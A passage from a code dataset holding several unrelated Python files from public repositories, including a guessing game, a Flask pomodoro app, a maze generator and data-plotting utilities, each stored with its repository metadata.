where accuracy was set to 1e20\n self.dataframe = self.dataframe.query(\"accuracy < 1e3\")\n self.datatime = self.datatime.query(\"time < 1e10\")\n\n def reset(self):\n \"\"\"\n Goal:\n Reset the data acquired so far (warning it will erase the content)\n Inputs:\n Outputs:\n \"\"\"\n # Reset the data frame\n if self.pandas_flag:\n self.dataframe = pd.DataFrame([[1e20,1e20,1e20,1e20,1e20]],columns=self.columns)\n self.datatime = pd.DataFrame([[1e20,1e20,1e20]],columns=self.columns_time)\n else:\n self.dataframe = np.zeros((0,self.dataframe.shape[1]))\n self.datatime = np.zeros((0,self.datatime.shape[1]))\n \n def plot_std(self,figure,subplot,test=False):\n \"\"\"\n Goal:\n Boxplot - Plot the standard deviations of the performances of each\n architectures on the training and testing set after having been trained\n for self.epochs epochs\n Inputs:\n figure = matplotlib figure - figure where the boxplot will be plotted\n subplot = list of size 3 - location of the boxplot in the figure\n test = Boolean - are you validating hyperparameters or perform a final test \n on the testing data\n Outputs:\n \"\"\"\n if not self.pandas_flag:\n return \"Pandas or seaborn is not installed, please install them to be able to plot graphs\"\n # Set the style\n sns.set_style(\"darkgrid\")\n # Add a subplot in the figure\n ax = figure.add_subplot(*subplot)\n # Title to be displayed \n title = \"Results (epochs = \" + str(self.epochs) + \")\"\n # Get the maximum number of epochs\n max_epochs = self.dataframe[\"epochs\"].max()\n # Get the performances after being trained with max_epochs\n std_data = self.dataframe.query(\"epochs == \" + str(max_epochs))\n # Plot the graph\n if test:\n std_data = std_data.query(\"type != 1\")\n else:\n std_data = std_data.query(\"type != 2\")\n sns.boxplot(data=std_data,x=\"architecture\",y=\"accuracy\",hue=\"type\")\n # Get the lines and labels of the graphs\n handles, labels = ax.get_legend_handles_labels()\n # Replace number by real labels\n labels = [\"test\"*(label == '2.0') + \"train\"*(label == '0.0') + \"validation\"*(label == '1.0') for label in labels]\n # Display label information\n ax.legend(handles,labels,fontsize=12)\n xlabels = ax.get_xticklabels()\n xlabels = [self.archi_names[int(float(label.get_text()))] for label in xlabels]\n ax.set_xticklabels(xlabels,fontsize=13)\n ax.set_title(title,fontsize=13)\n ax.set_xticklabels(self.archi_names,fontsize=13)\n ax.set_xlabel(\"Architectures\",fontsize=13)\n ax.set_ylabel(\"Accuracy\",fontsize=13)\n\n def plot_evolution_all(self,figure,subplot,type_perf=0):\n \"\"\"\n Goal:\n Lineplot - Plot the accuracy with respect to the number of epochs\n Plot the accuracy on the train set or on the test set, not both\n Plot these curves for all architectures\n Inputs:\n figure = matplotlib figure - figure where the boxplot will be plotted\n subplot = list of size 3 - location of the boxplot in the figure\n type_perf = int included in {0,1,2} - 0 if you want to plot the train curves\n 1 if you want to plot the validation curves\n 2 if you want to plot the test curves\n Outputs:\n \"\"\"\n if not self.pandas_flag:\n return \"Pandas or seaborn is not installed, please install them to be able to plot graphs\"\n # Set the style\n sns.set_style(\"darkgrid\")\n # Define the title to be displayed\n subtitle = \"test\"*(type_perf == 2) + \"train\"*(type_perf == 0) + \"validation\"*(type_perf == 1)\n title = \"Evolution of the \" + subtitle + \" accuracy\"\n # Create a subplot for the graph\n ax = figure.add_subplot(*subplot)\n # Extracting the right data\n accu_evo = self.dataframe.query(\"type == \" + str(type_perf))\n # Plot the graph\n sns.lineplot(data=accu_evo,x=\"epochs\",y=\"accuracy\",hue=\"architecture\",ax=ax,ci='sd')\n # Get the lines and labels\n handles, labels = ax.get_legend_handles_labels()\n # Replace indexes by real labels\n labels = [self.archi_names[int(float(label))] for label in labels] \n # Display label information\n ax.legend(handles,labels,fontsize=13)\n ax.set_xlabel(\"Epochs\",fontsize=13)\n ax.set_ylabel(\"Accuracy\",fontsize=13)\n ax.legend(handles,labels,fontsize=13)\n ax.set_title(title,fontsize=13)\n\n def plot_time_comparison(self,figure,subplot):\n \"\"\"\n Goal:\n Plot the boxplot of the training time for each model\n Inputs:\n figure = matplotlib figure - figure where the boxplot will be plotted\n subplot = list of size 3 - location of the boxplot in the figure\n \"\"\"\n # Set the style\n if not self.pandas_flag:\n return \"Pandas or seaborn is not installed, please install them to be able to plot graphs\"\n sns.set_style(\"darkgrid\")\n ax = figure.add_subplot(*subplot) # Define the ax\n mean_data_time = self.datatime.groupby([\"architecture\"]).mean()\n mean_data_time = mean_data_time.reset_index()\n sns.barplot(data=mean_data_time,x=\"architecture\",y=\"time\",ax=ax)\n # Plot the boxplot\n labels = ax.get_xticklabels()\n labels = [self.archi_names[int(float(label.get_text()))] for label in labels]\n ax.set_xticklabels(labels,fontsize=12)\n ax.set_xlabel(\"Architectures\",fontsize=13)\n ax.set_ylabel(\"Average training time [s]\",fontsize=13)\n\n def plot_full_comparison(self,test=False,save_folder=None):\n \"\"\"\n Goal:\n Plot three graphs:\n Evolution of the accuracy on train set for all architectures\n Evolution of the accuracy on test set for all architectures\n Boxplot of the performances with respect to the architecture\n Inputs:\n test = Boolean - are you validating hyperparameters or perform a final test \n on the testing data\n Outputs:\n \"\"\"\n if not self.pandas_flag:\n return \"Pandas or seaborn is not installed, please install them to be able to plot graphs\"\n type_perf = test*2 + (not test)*1\n # Create the figure\n fig = plt.figure(figsize=[25,14])\n # Plot the evolution on the train set\n self.plot_evolution_all(fig,[2,6,(1,3)],type_perf=0)\n # Plot the evolution on the test set\n self.plot_evolution_all(fig,[2,6,(4,6)],type_perf=type_perf)\n self.plot_time_comparison(fig,[2,6,(11,12)])\n # Plot the boxplot\n self.plot_std(fig,[2,6,(7,10)],test=test)\n plt.subplots_adjust(wspace=0.5,hspace=0.3)\n if save_folder is not None:\n file_name = \"final_plot_\" + \"validation\"*(not test) + test*\"test\" + \".svg\"\n fig.savefig(save_folder + file_name,dpi=250)\n plt.show()\n\n def plot_errors(self,error_index):\n if (self.errors_target[error_index].item() == 1):\n print('Model predicted right number greater than the left')\n else :\n print('Model predicted left number greater than the right')\n #plot each number with associated prediction\n fig, axs = plt.subplots(1, 2)\n axs[0].set_title('predicted : {0}, True label : {1} ||'.format(self.errors_numbers[error_index,0],self.right_target[error_index,0]))\n axs[0].imshow(self.errors_img[error_index,0,:,:], cmap='gray')\n axs[0].axis('off')\n axs[1].set_title('predicted number : {0}, True label : {1}'.format(self.errors_numbers[error_index,1],self.right_target[error_index,1]))\n axs[1].imshow(self.errors_img[error_index,1,:,:], cmap='gray')\n axs[1].axis('off')\n fig.tight_layout(pad=3.0)\n plt.show()\n","repo_name":"arnaudguibbert/Deep-learning-miniproject","sub_path":"Proj1/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":31788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"255369124","text":"import random\nfrom phrase import Phrase\n\nPHRASES = [\n (\"We are what we think\"),\n (\"Powerful dreams inspire powerful action\"),\n (\"All limitations are self imposed\"),\n (\"Be gentle first with yourself\"),\n (\"Failure cannot cope with persistence\"),\n]\n\n\nclass Game:\n\n def __init__(self, phrases):\n self.lives = 5\n self.guesses = []\n self.phrases = [Phrase(phrase) for phrase in phrases]\n self.current_phrase = random.choice(self.phrases)\n\n # def test(self):\n # print(self.phrases)\n\n def player_input(self):\n guess = \"\"\n while not guess:\n try:\n user_guess = input(\"Make a guess: \")\n if not user_guess.isalpha():\n print(\n \"That is not a valid guess. The guess needs to be only one letter and never a number or special character.\")\n continue\n elif len(user_guess) > 1:\n print(\"You've entered too many characters.Enter only one letter at a time.\")\n continue\n elif user_guess.lower() in self.guesses:\n print(\"Please try again, you have already guessed that letter!\")\n continue\n except Exception:\n print(\"Something went wrong. Please retry!\")\n else:\n guess = user_guess\n self.guesses.append(guess.lower())\n return guess.lower()\n\n def play_game(self):\n game_won = False\n print(\"Welcome to a new phrase guessing game!\")\n while not game_won:\n print(f\"Lives You Have: {self.lives}\")\n print(f\"Letters you've guessed: {self.guesses}\\n\")\n self.current_phrase.display_phrase()\n new_guess = self.player_input()\n if new_guess not in [letter.original.lower() for letter in self.current_phrase]:\n self.lives -= 1\n for character in self.current_phrase:\n character.verify_guess(new_guess)\n if self.lives == 0:\n print(f\"You have {self.lives} lives left.\")\n answer = input(\n \"Sorry, you ran out of lives. Would you like to play again? [y/n] \")\n if answer.lower() == 'y':\n Game(PHRASES).play_game()\n break\n else:\n print(\"Thanks for playing. See you next time.\")\n break\n if self.current_phrase.letters_all_guessed():\n game_won = True\n self.current_phrase.display_phrase()\n print(\"Congratulations, you've won the game!\")\n break\n","repo_name":"CarmenRoxana/Techdegree-Project-2","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3137647634","text":"from __future__ import annotations\nfrom typing import List, Literal\nfrom .base import CorkusBase\nfrom enum import Enum\n\nclass BannerColor(Enum):\n \"\"\"List of colors available for :py:class:`GuildBanner` and :py:class:`GuildBannerLayer`.\"\"\"\n WHITE = \"WHITE\"\n SILVER = \"SILVER\"\n ORANGE = \"ORANGE\"\n MAGENTA = \"MAGENTA\"\n LIGHT_BLUE = \"LIGHT_BLUE\"\n YELLOW = \"YELLOW\"\n LIME = \"LIME\"\n PINK = \"PINK\"\n GRAY = \"GRAY\"\n LIGHT_GRAY = \"LIGHT_GRAY\"\n CYAN = \"CYAN\"\n PURPLE = \"PURPLE\"\n BLUE = \"BLUE\"\n BROWN = \"BROWN\"\n GREEN = \"GREEN\"\n RED = \"RED\"\n BLACK = \"BLACK\"\n\nclass BannerPattern(Enum):\n \"\"\"List of patterns available for :py:class:`GuildBannerLayer`.\"\"\"\n CIRCLE_MIDDLE = \"CIRCLE_MIDDLE\"\n DIAGONAL_RIGHT_MIRROR = \"DIAGONAL_RIGHT_MIRROR\"\n SQUARE_BOTTOM_LEFT = \"SQUARE_BOTTOM_LEFT\"\n SQUARE_BOTTOM_RIGHT = \"SQUARE_BOTTOM_RIGHT\"\n SQUARE_TOP_LEFT = \"SQUARE_TOP_LEFT\"\n SQUARE_TOP_RIGHT = \"SQUARE_TOP_RIGHT\"\n HALF_HORIZONTAL = \"HALF_HORIZONTAL\"\n STRIPE_BOTTOM = \"STRIPE_BOTTOM\"\n STRIPE_TOP = \"STRIPE_TOP\"\n HALF_VERTICAL = \"HALF_VERTICAL\"\n STRIPE_LEFT = \"STRIPE_LEFT\"\n STRIPE_CENTER = \"STRIPE_CENTER\"\n STRIPE_RIGHT = \"STRIPE_RIGHT\"\n STRIPE_MIDDLE = \"STRIPE_MIDDLE\"\n STRAIGHT_CROSS = \"STRAIGHT_CROSS\"\n STRIPE_DOWNLEFT = \"STRIPE_DOWNLEFT\"\n STRIPE_DOWNRIGHT = \"STRIPE_DOWNRIGHT\"\n CROSS = \"CROSS\"\n DIAGONAL_LEFT = \"DIAGONAL_LEFT\"\n DIAGONAL_UP_RIGHT = \"DIAGONAL_UP_RIGHT\"\n TRIANGLE_TOP = \"TRIANGLE_TOP\"\n TRIANGLE_BOTTOM = \"TRIANGLE_BOTTOM\"\n RHOMBUS_MIDDLE = \"RHOMBUS_MIDDLE\"\n TRIANGLES_TOP = \"TRIANGLES_TOP\"\n TRIANGLES_BOTTOM = \"TRIANGLES_BOTTOM\"\n CURLY_BORDER = \"CURLY_BORDER\"\n BORDER = \"BORDER\"\n STRIPE_SMALL = \"STRIPE_SMALL\"\n BRICKS = \"BRICKS\"\n GRADIENT = \"GRADIENT\"\n CREEPER = \"CREEPER\"\n SKULL = \"SKULL\"\n FLOWER = \"FLOWER\"\n MOJANG = \"MOJANG\"\n DIAGONAL_LEFT_MIRROR = \"DIAGONAL_LEFT_MIRROR\"\n DIAGONAL_RIGHT = \"DIAGONAL_RIGHT\"\n GRADIENT_UP = \"GRADIENT_UP\"\n HALF_HORIZONTAL_MIRROR = \"HALF_HORIZONTAL_MIRROR\"\n HALF_VERTICAL_MIRROR = \"HALF_VERTICAL_MIRROR\"\n\nclass GuildBannerLayer(CorkusBase):\n \"\"\"Represents a layer of :py:class:`GuildBanner`\"\"\"\n @property\n def color(self) -> BannerColor:\n \"\"\"Color of the pattern.\"\"\"\n return BannerColor(self._attributes.get(\"colour\", \"WHITE\"))\n\n @property\n def pattern(self) -> BannerPattern:\n \"\"\"Pattern used on that layer.\"\"\"\n return BannerPattern(self._attributes.get(\"pattern\", \"CROSS\"))\n\n def __repr__(self) -> str:\n return f\"\"\n\nclass GuildBanner(CorkusBase):\n \"\"\":py:class:`Guild` banners are used to showcase a guild by means of a banner whenever\n they control a :py:class:`Territory`. Each banner is exclusive and thus no two guilds can have the same banner.\"\"\"\n @property\n def base_color(self) -> BannerColor:\n \"\"\"Color of the banner background.\"\"\"\n return BannerColor(self._attributes.get(\"base\", \"WHITE\"))\n\n @property\n def tier(self) -> Literal[1, 2, 3, 4, 5, 6]:\n \"\"\"Tier of the banner represented by pedestal.\"\"\"\n return self._attributes.get(\"tier\", 1)\n\n @property\n def layers(self) -> List[GuildBannerLayer]:\n \"\"\"List of banner layers.\"\"\"\n return [GuildBannerLayer(self._corkus, l) for l in self._attributes.get(\"layers\", {})]\n\n def __repr__(self) -> str:\n return f\"\"\n","repo_name":"MrBartusek/corkus.py","sub_path":"corkus/objects/guild_banner.py","file_name":"guild_banner.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"29479268199","text":"from google.cloud import storage\nimport os\nimport logging\nimport datetime as dt\n\ndata_fpath = r'data'\n\nclient = storage.Client.from_service_account_json(os.environ['GCLOUD_STORAGE_CREDS'])\n\nbucket = client.get_bucket('mmda-tv5-scrape-dumps')\n\n# get yesterday's data\nyesterday = (dt.datetime.now() - dt.timedelta(1)).strftime(\"%Y%m%d\")\n\nblobs = list(bucket.list_blobs(prefix=yesterday))\n\ntry:\n\tos.mkdir(os.path.join(data_fpath,yesterday))\nexcept Exception as e:\n\tprint(e)\n\ndump = list()\n\nfor blb in blobs:\n\tblb_name = blb.name\n\tfname = blb.name.split('/')[1]\n\nwith open(data_fpath+'/'+yesterday+'.txt',\"wb\") as fobj:\n\tfor data in set(dump):\n\t\tfobj.write(data)","repo_name":"tropicalmentat/mmda_traffic_history","sub_path":"download_raw.py","file_name":"download_raw.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33596324026","text":"from flask import Flask, jsonify, request, render_template\nfrom pomodoro_session import PomodoroSession # Importez la classe depuis le fichier séparé\n\napp = Flask(__name__)\n\n# Liste des sessions (méthode provisoire avant d'utiliser une base de données)\nsessions = []\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/create_session', methods=['POST'])\ndef create_pomodoro_session():\n # Créez une nouvelle session\n data = request.get_json()\n if not data:\n return jsonify({'error': 'No data provided.'}), 400\n \n duration = data.get('work_duration')\n short_break = data.get('short_break_duration')\n long_break = data.get('long_break_duration')\n if not duration or not short_break or not long_break:\n #mettre des valeurs par défaut\n duration = 25\n short_break = 5\n long_break = 15\n\n new_session = PomodoroSession(duration, short_break, long_break)\n # Ajoutez la nouvelle session à la liste\n sessions.append(new_session)\n\n # Retourner un message de succès\n return jsonify({'message': 'Pomodoro session created successfully.'}), 201\n\nif __name__ == '__main__':\n app.run()","repo_name":"loic-msgb/Focus-Nest","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32255342817","text":"N = int(input())\nmaps = [list(input()) for _ in range(N)] # str 형태의 0과 1로 지도 받기 성공\nanswer = []\ntotal_house = 0\n\nfor r, row in enumerate(maps):\n for c, house in enumerate(row):\n #탐색 시작\n if house != '1':\n continue\n else: # 단지탐색시작\n total_house += 1\n stack = [(r, c)]\n count = 0\n while stack:\n cur_r, cur_c = stack.pop()\n if maps[cur_r][cur_c] == '1':\n maps[cur_r][cur_c] = 0\n count += 1\n else:\n continue\n\n move = [(1, 0), (0, 1), (-1, 0), (0, -1)]\n for i in range(4):\n dr, dc = move[i]\n new_r, new_c = cur_r + dr, cur_c + dc\n\n if 0 <= new_r < N and 0 <= new_c < N: # 옳게된 좌표일때\n stack.append((new_r, new_c))\n\n answer.append(count)\n\n\nanswer.sort()\nprint(total_house)\nfor j in answer:\n print(j)","repo_name":"sonyak-ku/algorithm_problem_solving","sub_path":"2022/January/week4/단지번호붙이기.py","file_name":"단지번호붙이기.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22953782742","text":"from queue import *\n\n\n\ndef shortest_paths(root,network):\n levels = {}\n parents = {}\n weights = {}\n queue = Queue(maxsize=len(network.keys()))\n visited = []\n\n levels[root] = 0\n weights[root] = 1\n queue.put(root)\n visited.append(root)\n\n while not queue.empty():\n current_node = queue.get()\n children = network[current_node]\n\n for child in children:\n if child not in visited:\n visited.append(child)\n weights[child] = weights[current_node]\n parents[child] = [current_node]\n queue.put(child)\n levels[child] = levels[current_node] + 1\n else:\n if child != root:\n parents[child].append(current_node)\n if levels[current_node] == levels[child] - 1:\n weights[child] += weights[current_node]\n\n return levels,parents,weights,visited\n\ndef get_betweenness(root,network):\n number = 0\n nodes_arrangement = []\n reversed_nodes = []\n node_values = {}\n betweenness = {}\n levels,\\\n parents,\\\n weights,\\\n visited = shortest_paths(root,network)\n\n for visited_node in visited:\n nodes_arrangement.append((visited_node, number))\n number += 1\n\n backward_node_arrangement = sorted(nodes_arrangement, key=(lambda x: x[1]), reverse=True)\n\n for node in backward_node_arrangement:\n node_values[node[0]] = 1\n reversed_nodes.append(node[0])\n\n for node in reversed_nodes:\n if node != root:\n cum_weight = 0\n for child_node in parents[node]:\n if levels[child_node] == levels[node] - 1:\n cum_weight += weights[child_node]\n\n for child_node in parents[node]:\n if levels[child_node] == levels[node] - 1:\n pair = (node,child_node)\n if pair not in betweenness.keys():\n betweenness[pair] = (node_values[pair[0]] * weights[pair[1]]) / cum_weight\n else:\n betweenness[pair] += (node_values[pair[0]] * weights[pair[1]]) / cum_weight\n node_values[pair[1]] += node_values[pair[0]] * weights[pair[1]] / cum_weight\n return [(k,v) for k,v in betweenness.items()]\n\n\nsample_network = {\n 'E': ['D','F'],\n 'D': ['E', 'G','B','F'],\n 'F': ['E', 'G','D'],\n 'G': ['D', 'F'],\n 'B': ['D', 'C','A'],\n 'A': ['B','C'],\n 'C': ['B','A']\n}\nbetw = {}\n\nfor root in sample_network.keys():\n if list(betw.keys()) == []:\n betw = dict(get_betweenness(root,sample_network))\n for key in betw.keys():\n sk = tuple(sorted(key))\n val = betw[key]\n del betw[key]\n betw[sk] = val\n else:\n new_betw = dict(get_betweenness(root,sample_network))\n stop = 1\n for key in new_betw.keys():\n key = tuple(sorted(key))\n try:\n betw[key] += new_betw[key]\n except KeyError:\n betw[key] = new_betw[key]\n\nfor key in betw.keys():\n betw[key]/=2\n\n\nstop = 1","repo_name":"daaibraanies/datamining_social_groups_detection","sub_path":"task2/ng_test.py","file_name":"ng_test.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37586091542","text":"#!/usr/bin/env python\nimport pprint\n# from matplotlib import pyplot as plt\nimport random\nimport pickle\nimport os\nfrom cell import Cell\nimport sys\n\ndestination = 'maze_pickles'\na_destination = 'maze_images'\n\n\nclass Grid:\n \"\"\"object that contains all the methods that involve the\n creation and manipulation of the grid and subsequent maze\n including how to display each, the class takes number of\n columns and rows of the maze\\grid as instance parameters \"\"\"\n def __init__(self, columns, rows, origin=1):\n self.rows = rows\n self.columns = columns\n self.grid = self.make_grid()\n self.create_default_maze()\n self.origin = [self.evaluate_origin(origin)]\n self.distances = None\n\n def evaluate_origin(self, origin):\n column = round(origin/self.columns)\n row = (origin % self.rows) - 1\n return self.grid[column][row]\n\n def random_cell(self):\n return random.choice(self.all_cells())\n\n def all_cells(self):\n all_cells = []\n for c in self.grid:\n for r in c:\n all_cells.append(r)\n return all_cells\n\n # creates the grid as a nested list\n # this is used to create the maze structure later\n def make_grid(self):\n grid = []\n # items = list(range(1, (self.rows * self.columns) + 1))\n index = 0\n for k in range(self.columns):\n row = []\n for l in range(self.rows):\n row.append(Cell(k, l))\n index += 1\n grid.append(row)\n return grid\n\n # creates the default structure before the walls of\n # the cells are removed in the process of creating the maze\n # the structure is a dictionary that has the cell's grid number\n # as the key and a list of all 4 walls as the values\n def create_default_maze(self):\n for c in self.grid:\n for r in c:\n directions = ['L', 'R', 'U', 'D']\n if c == self.grid[0]:\n directions.remove('U')\n if c == self.grid[-1]:\n directions.remove('D')\n if r == c[0]:\n directions.remove('L')\n if r == c[-1]:\n directions.remove('R')\n r.walls = directions\n self.configure_cell(r)\n return\n\n def configure_cell(self, cell):\n neighbours = self.get_neighbours(cell)\n cell.set_attributes(neighbours)\n return\n\n # takes a number representing a position within the grid\n # and returns the cell's neighbours within the grid as\n # a list\n def get_neighbours(self, home_cell):\n column, row = home_cell.get_cell_position()\n neighbours = dict()\n up = column - 1, row\n down = column + 1, row\n left = column, row - 1\n right = column, row + 1\n directions = dict(left=left, right=right, up=up, down=down)\n for k, v in directions.items():\n if v[1] >= 0 and v[0] >= 0:\n try:\n my_column = v[0]\n my_row = v[1]\n ans = self.grid[my_column][my_row]\n neighbours[k] = ans\n except (IndexError, ValueError):\n continue\n return neighbours\n\n # calculates the distance of each cell\n # within the maze from the my_origin and returns a dictionary\n def calculate_distances(self) -> dict:\n current_cells = self.origin\n unexplored_cells = self.all_cells()\n distances = dict()\n distances[0] = self.origin\n unexplored_cells.remove(self.origin[0])\n count = 1\n while len(unexplored_cells) > 0:\n last = current_cells\n for c in current_cells:\n s_neighbours = c.get_valid_neighbours()\n neighbours = [n for n in s_neighbours if n in unexplored_cells]\n if neighbours:\n for n in neighbours:\n if count not in distances.keys():\n distances[count] = [n]\n else:\n distances[count].append(n)\n if n in unexplored_cells:\n unexplored_cells.remove(n)\n else:\n pass\n if current_cells == last:\n current_cells = []\n current_cells.extend(neighbours)\n else:\n current_cells.extend(neighbours)\n else:\n continue\n count += 1\n self.distances = distances\n return distances\n\n def get_distance_to_origin(self, cell):\n if self.distances is None:\n self.calculate_distances()\n for k, v in self.distances.items():\n if cell in v:\n return k\n return None\n\n def dijkstra_path_find(self, end_point):\n if self.distances is None:\n self.calculate_distances()\n current_cell = end_point\n path = []\n d_to_origin = self.get_distance_to_origin(end_point) - 1\n while d_to_origin > 0:\n neighbours = current_cell.neighbours\n node = [i for i in self.distances[d_to_origin] if i in neighbours][0]\n path.append(node)\n current_cell = node\n d_to_origin -= 1\n\n return path\n\n def link_cells(self, iterable):\n while len(iterable) > 1:\n try:\n from_cell = iterable.pop()\n to_cell = iterable[-1]\n from_cell.carve_passage(to_cell)\n except IndexError:\n continue\n return\n\n def get_dead_ends(self):\n dead_ends = []\n for c in self.all_cells():\n walls = c.walls\n neighbours = c.neighbours\n if len(walls) == 3 or (len(neighbours) == 3 and len(walls) == 2):\n dead_ends.append(c)\n return dead_ends\n\n # saves a maze dictionary inside a folder called sample_mazes\n # within the current working directory\n def save(self):\n sys.setrecursionlimit(3000)\n cwd = os.getcwd()\n path = os.path.join(cwd, destination)\n try:\n os.mkdir(path)\n except OSError:\n pass\n count = 1\n for i in os.listdir(path):\n if os.path.isfile(os.path.join(path, i)):\n count += 1\n my_format = str(self.rows) + 'x' + str(self.columns)\n fpath = os.path.join(path, 'maze-{0}-{1}.pkl'.format(count, my_format))\n with open(fpath, 'wb') as output:\n pickle.dump(self.grid, output)\n print('Maze Saved at {0}'.format(fpath))\n return fpath\n\n # takes the x_coord and y_coord of the top left point\n # of the cell and uses that to draw the walls of the\n # cell that are required given in the walls parameter\n # of the function. Returns None\n def draw_cell(self, x_coord: int, y_coord: int, walls: str):\n if len(walls) > 0:\n for w in walls:\n if w == 'L':\n plt.vlines(x_coord, ymin=y_coord - 1, ymax=y_coord)\n elif w == 'R':\n plt.vlines(x_coord + 1, ymin=y_coord - 1, ymax=y_coord)\n elif w == 'U':\n plt.hlines(y_coord, xmin=x_coord, xmax=x_coord + 1)\n else:\n plt.hlines(y_coord - 1, xmin=x_coord, xmax=x_coord + 1)\n else:\n return\n return\n\n # draws all the cells of the maze and saves the\n # image if user wishes\n def draw(self, save=True):\n x_coord = 1\n y_coord = self.rows + 1\n grid = self.grid\n axis_range = [x_coord, y_coord, x_coord, y_coord]\n plt.axis(axis_range)\n plt.yticks([])\n plt.xticks([])\n for c in grid:\n for r in c:\n wall = r.walls\n self.draw_cell(x_coord, y_coord, wall)\n x_coord += 1\n x_coord = 1\n y_coord -= 1\n if save:\n cwd = os.getcwd()\n path = os.path.join(cwd, a_destination)\n try:\n os.mkdir(path)\n except OSError:\n pass\n count = 1\n for i in os.listdir(path):\n if os.path.isfile(os.path.join(path, i)):\n count += 1\n my_format = str(self.rows) + 'x' + str(self.columns)\n fpath = os.path.join(path, 'maze-{0}-{1}.png'.format(count, my_format))\n plt.savefig(fpath, bbox_inches='tight', pad_inches=0)\n plt.show()\n\n\n# loads a maze file through directly calling the function\n# with the file name as a parameter or by prompting the user\n# use the maze setter function in the grid class with appropriate\n# to effectively use the Grid class methods after loading\ndef load_maze(save=None):\n cwd = os.getcwd()\n saves = dict()\n if destination in os.listdir(cwd):\n path = os.path.join(cwd, destination)\n else:\n print('No saves found')\n return\n if save is None:\n while True:\n count = 1\n for i in os.listdir(path):\n saves[count] = i\n count += 1\n pprint.pprint(saves)\n choice = eval(input('Which game would you like to load?\\n-->'))\n if type(choice) == int and choice in saves.keys():\n maze_file = saves[choice]\n f_path = os.path.join(path, saves[choice])\n break\n elif str(choice).lower().startswith('q'):\n return\n else:\n print('Invalid Choice')\n continue\n else:\n f_path = os.path.join(path, save)\n maze_file = save\n if os.path.isfile(f_path):\n with open(f_path, 'rb') as save_file:\n maze = pickle.load(save_file)\n print('Loading {0}...'.format(maze_file))\n print('Save Loaded')\n return maze\n else:\n print('File does not exist')\n return\n","repo_name":"julius383/mazes","sub_path":"Grid.py","file_name":"Grid.py","file_ext":"py","file_size_in_byte":10129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6205616846","text":"from math import isnan\nfrom jaziku import env\n\nfrom jaziku.env import globals_vars\n\n\ndef mean(values):\n \"\"\"\n Return the mean from all values, ignoring valid null values.\n \"\"\"\n\n # check if 'values' is only one number\n if isinstance(values, (int, float)):\n return values\n\n sums = 0\n count = 0\n for value in values:\n if not globals_vars.is_valid_null(value):\n sums += value\n count += 1.0\n\n if count == 0:\n return float('nan')\n\n return sums / count\n\n\ndef maximum(values):\n \"\"\"\n max function for Jaziku with special behavior\n \"\"\"\n\n values_cleaned = clean(values)\n if len(values_cleaned) == 0:\n return float('nan')\n else:\n return max(values_cleaned)\n\n\ndef minimum(values):\n \"\"\"\n min function for Jaziku with special behavior\n \"\"\"\n\n values_cleaned = clean(values)\n if len(values_cleaned) == 0:\n return float('nan')\n else:\n return min(values_cleaned)\n\n\ndef clean(values):\n \"\"\"Clean the list of empty elements and valid nulls\n\n :param values: values to clean\n :type values: list\n\n :rtype: list\n \"\"\"\n\n # delete empty elements in row, but not elements with zeros\n values = [e for e in values if e or e == 0]\n\n # delete all valid nulls\n values = [value for value in values if not globals_vars.is_valid_null(value)]\n\n return values\n\n\ndef check_nulls(values):\n \"\"\"Return the number and percentage of valid null values inside array.\n\n :param values: values to check the nulls\n :type values: list\n\n :ivar number_of_nulls: number of nulls\n :ivar percentage_of_nulls: percentage of nulls inside values (0-100)\n :rtype: (int, float)\n \"\"\"\n\n if len(values) == 0:\n return float('nan'), float('nan')\n\n number_of_nulls = 0\n for value in values:\n if env.globals_vars.is_valid_null(value):\n number_of_nulls += 1\n\n percentage_of_nulls = round((number_of_nulls / float((len(values)))) * 100, 1)\n\n return number_of_nulls, percentage_of_nulls\n","repo_name":"XavierCLL/Jaziku","sub_path":"jaziku/utils/array.py","file_name":"array.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15868659060","text":"from __future__ import print_function\n\nimport sys\nfrom distutils.version import StrictVersion # pylint: disable=E0611\nfrom optparse import make_option\n\nfrom django import get_version, VERSION\nfrom django.core.management.base import BaseCommand\n\nfrom chroniker.models import get_current_job\n\n\nclass Command(BaseCommand):\n help = 'Runs a specific monitoring routine.'\n\n option_list = getattr(BaseCommand, 'option_list', ()) + (\n make_option('--imports', dest='imports', help='Modules to import.'),\n make_option('--query', dest='query', help='The query to run.'),\n make_option('--verbose', dest='verbose', default=False, help='If given, displays extra logging messages.'),\n )\n\n def create_parser(self, prog_name, subcommand):\n \"\"\"\n For ``Django>=1.10``\n Create and return the ``ArgumentParser`` which extends ``BaseCommand`` parser with\n chroniker extra args and will be used to parse the arguments to this command.\n \"\"\"\n parser = super(Command, self).create_parser(prog_name, subcommand)\n version_threshold = StrictVersion('1.10')\n current_version = StrictVersion(get_version(VERSION))\n if current_version >= version_threshold:\n parser.add_argument('args', nargs=\"*\")\n parser.add_argument('--imports', dest='imports', help='Modules to import.')\n parser.add_argument('--query', dest='query', help='The query to run.')\n parser.add_argument('--verbose', dest='verbose', default=False, help='If given, displays extra logging messages.')\n self.add_arguments(parser)\n return parser\n\n def handle(self, *args, **options):\n imports = options['imports']\n query = options['query']\n verbose = options['verbose']\n assert imports, 'No imports specified.'\n assert query, 'No query specified.'\n for imp in imports.strip().split('|'):\n imp_parts = tuple(imp.split(','))\n if len(imp_parts) == 1:\n cmd = ('import 